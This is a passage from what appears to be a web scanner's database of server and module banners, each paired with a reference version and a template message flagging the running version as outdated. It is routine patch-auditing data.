"Apache-NeoNova/","1.3.27","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Apache-NeoWebScript/","2.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Apache-SSL-US/","1.1.1+1.2+1.3b3-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Apache-SSL/","1.36","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Apache/","Apache/2.2.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER). Apache 1.3.39 and 2.0.61 are also current." "apachejserv/","1.1.2i","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ApacheSSL/","2.0.58","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AppleEmbeddedWebServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AppleShareIP/","6.3.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ARIN-HTTPd/","1.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ARM/","06TD.34","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ArtBlast/","3.5.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ASP/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "auth_external/","2.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "auth_kerberos/","4.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "auth_ldap/","1.6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "auth_mysql/","1.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "auth_radius/","1.7PR1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AuthentiCache/","2.0.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AuthMySQL/","4.3.9-2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AuthMySQL/","deam.org-1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AuthMySQL/","trans-1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AuthMySQLD/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AuthNuSphere/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AuthPG/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AuthPostgreSQL/","0.9.7d","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AuthSMB/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AuthTDS/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AV/","1.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Awhttpd/","Awhttpd/2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AWS/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "AxKit/","1.61","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "balanced_by_mod_backhand/","1.1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BBCE/","6.6.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Ben-SSL/","1.57","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "beta/","0.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BigFix HTTP Server/","5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BillGatesSeinWebServer/","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BiRD/","0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "bkhttp/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Blazix/","1.2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Bluestem/","0.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Boa/","1.1.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "bozohttpd/","20050410","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BRS-WebWeaver/","1.32","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BSAFE-SSL-C/","1.0.0i","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BSDI/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BunnyServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "BustaWS\/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "bw/","3.37","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "C2NetEU/","3012","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "C2NetUS/","2011","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Canon Http Server ","2.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Caudium/","1.4.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CCO/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CERN/","3.0A","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CheckPointSVNfoundation/","NGFP2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Cheetah/","2.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Cherry/","6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Chili!Soft-ASP/","3.6.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "cisco-CPA/","cisco-CPA/3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "cisco-IOS/","12.0 HTTP-server/1.0(1)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CiteHTTPD/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Citysearch-Apache/","1.3.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CM4all-JailCGI/","1.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CMS_Pipelines/","1.0110","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CMS/","20.000","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CoffeeMaker/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Commerce-Builder/","2.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CommerceServer400/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CommuniGatePro/","5.0.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Communique/","3.5.2.1.2391","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CommuniqueServletEngine/","3.5.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CompaqHTTPServer/","9.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ConcentricHost-Ashurbanipal/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ConcentricHost-NaramSin/","1.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ConductorSNMP/","1.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ConferenceRoom/","2.1-SEC.win32-ws2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CoolWeb/","3.8.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Core/","1.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Cougar ","9.01.01.3814","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "covalent_auth/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CovalentSSL/","2.1.03.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Coyote/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "cpaneld/","cpaneld/6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "cpsrvd\/","10.6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Crossing/","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Cryptoveg/","4.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CSacek/","2.1.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Cthulhu/","0.23a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "CUPS/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "da.ru/1.2","","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "DartWebServerTool/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "DAV/","2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "David-WebBox/","7.00a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Debut/","0.03","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "DeleGate/","8.5.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "DeltaEdgeCache/","release-2-28-rc2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "DHost/","9.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "diffprivs/","20030624","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Dina HTTPd Server\/","1.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "DinaHTTPdServer\/","1.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Dixienet/","6.6.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "DLXApache/","4.3.29","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "DMMWeb/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Domestic/","v2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Domino-Go-Webserver/","4.6.2.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "DotTV Webserver ","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "dwhttpd/","dwhttpd/4.2a7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "dynamicScale/","2.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "E-Neverland Data Palm\/","1.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "e/FSV-","28-01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ebLogic XMLX Module ","8.1 SP1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "EHTTP/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "EIMWebServer/","3.35","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Embedded HTTP Server","2.0f","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Embperl/","2.0rc3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "EMWHTTPD/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Engine/","1.57","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Enhydra-MultiServer/","3.1.1b1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Entangle/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "EnterpriseWeb/","1.1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ePerl/","2.2.14","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Eplicator/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "EPSON-HTTP/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "EServ/","3.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ESMWEBSERVERS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "eVisMUX/","6.0.51212128","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "EWS-NIC3/","6.31","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Ews/","1.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Export/","v2.0-1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "exteNdApplicationServer/","100.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ExtraWeb/","4.0.14","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "fhttpd/","0.4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FileMakerPro/","6.0v4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "filter/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FireSite/","2.7_PPC","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FirstClass/","8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FJapache/","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "fnord-spb/","280604","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "fnord/","1.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FooServe/","0.1a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Footprint","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FortiWeb-","2.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FoundryNetworks/","2.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "fp/","4.0.4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FPWS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FreezeServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Frontier/","9.1b2-MacOSX","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FrontPage-PWS32/","4.0.2.2717","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FrontPage/","5.0.4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER) (may depend on server version)" "FSID/","M25-8514","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FSPMS/","5.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FT::Srv/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "FTU/","2.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Fujitsu-InfoProvider-Pro/","5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Fujitsu-InfoProvider-Pro/V","3.0L20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Ganesh/","2.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "gettxt/","1.0a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GG/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "giFT-Gnutella/","0.0.10.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "glass/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GMSE_Sandcastle/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Gnat-Box/","3.3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GNNserver/","2.03","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GoAhead-Webs/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GoAhead/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GoGoGadgetWebserver/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GordianEmbedded/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GoServe/","2.52","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Ground/","5.3.35","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GTS-Datanet/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GTS/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "gtxs/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GUILD/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "GWS/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HackersLabWebServer/","7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Hardened-PHP\/","5.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HavelsanEmbeddedQuix/","18.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Hawkeye/","1.3.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "heitml/","2.05","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Hitmatic/","5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HomeGrownServer/","10.3.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Homepage-Engine/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HP Apache-based Web Server/","1.3.27 (Unix)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HP Web Jetadmin/","2.0.50","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HP-ChaiServer/","HP-ChaiServer/3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HP-ChaiSOE/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HP-UX_Apache-based_Web_Server/","2.0.48","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Hp-Web-JetAdmin-","5.06.190","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Hp-Web-Server-","3.00.1696","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HPWB/","4.3.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HSP/","2.10.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HTS/","2.99","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HTTP/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HTTPd-WASD\/","8.3.B2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "httpd/","1.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HTTPS/","0.991","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HttpStk/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "HyNetOS/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Hyperwave-Information-Server/","5.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Hyperwave-IS/","6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IBM HTTP Server/","V5R3M0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IBM_HTTP_Server/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IBM-HTTP-Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IBM-ICS/","4.2.1.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IBM-PROXY-WTE-US/","3.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IBM-PROXY-WTE/","2.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IBMHTTPServer/","V5R3M0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "icecast/","icecast/1.3.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IceWarp/","8.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IceWarpWebSrv/","3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ID/","878810","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IdeaWebServer/","v0.50","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IDS-Server\/","4.1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IgServ/","1.0.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "iHTML/","2.20.324","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IIS/","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Inc.onz/","VMV4R4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "include/","3.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Indy/","9.00.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "inets\/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Infrastructure/","4.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Inktomi Search","4.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Intel NetportExpressPro/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Interaction/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Interambition HTTPd/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "InterambitionHTTPd/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "InterJet/","3.2.1p16","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "InterSpace HTTP Tunneling/","1.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "InterSpaceHTTPTunneling/","1.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Intrusion/","1.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IPL/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "iPlanet-Enterprise/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "iPlanet-Web-Proxy-Server/","3.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "iPlanetEnterprise/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "iPrism-httpd/","v3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Ipswitch-IMail/","8.22","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IpswitchWebCalendaring/","8.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "iPyramid.system/","1.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ISS-PXServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "iTPSecureWebServer/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "iTunes/","4.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "IXOS-eCON/","5.0A","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "J2EE SDK/","1.3.1 (HTTP/1.1 Connector)","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "J2EESDK/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JAGeX/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JBoss_","4_0_3_SP1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JaguarServerVersion/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Jana-Server/","2.4.6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JanaServer/","2.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JARING/","10.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "java/","1.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JavaHttpServer/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JavaWebServer/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JC-HTTPD/","1.14.18","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JETServ/","2.2.18","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Jetty/","4.2.14","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JeusWebContainer/","Jeus WebContainer/4.2.4.0","RUNNING_VER appears to be outdated (current is at least CURRENT_VER)" "Jigsaw/","2.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Joke/","0.9b5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JRun/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JRunWebServer/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JWalkServer/","Version3.3C8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "JXAS/","3.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "keyLargo HTTPD ","v1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "KK-NET wpp/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "KnowNowLiveServer/","2.0.7.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Koalah/","1.3.31","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "L series Web/","1.0-beta","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "L/","FSV-28-01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "LabVIEW/","5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "LANWeb.I/","v1.82","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Lasso/","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Legend-IIS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "LePenguin ","0.2a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Liberator/","3.4.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "libwww-perl-daemon/","1.24","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "lighttpd/","1.4.18","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "lighttpd\/","1.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Line-Tap/","3.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Linux-Mandrake/","3mdk","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Linux/","11mdk","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "LiteSpeed/","1.2RC2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "LittleDutchMoose/","v10.3Build","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "LocalDirector/","4.2.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Lotus-Domino/","6.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Lotus-Domino/Release-","4.6.7a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "LURHQServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "LV_HTTP/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "M-HTTPD/","2.0.11.3 (Unix) PHP/3.0.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MacHTTP/","2.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "madna/","1.42","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MAIA/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MailSite-HTTPMA/","5.2.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MakeShop/","1.0.29","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mandrake Linux/","10.2mdk","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mark/","1.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mathopd/","1.6b7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Matsya/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mediasurface/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Meridian Data/","2.1.340","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Meta-HTML/","6.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MGI Server/","1.7.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MHttpd/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Micro-HTTP/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Microsoft_PWS_Mac/","4.0b1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Microsoft-HTTPAPI/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Microsoft-IIS/","6.0","@RUNNING_VER appears to be outdated (4.0 for NT 4, 5.0 for Win2k)" "Microsoft-Internet-Information-Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Microsoft-PWS-95/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Microsoft-PWS/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Microsoft-WinCE/","4.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Midgard/","1.4.2-1/SG","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mini_httpd/","1.1919","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mini-Proxy/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mini-Web/","0.10","@RUNNING_VER appears to be outdated (current is at least 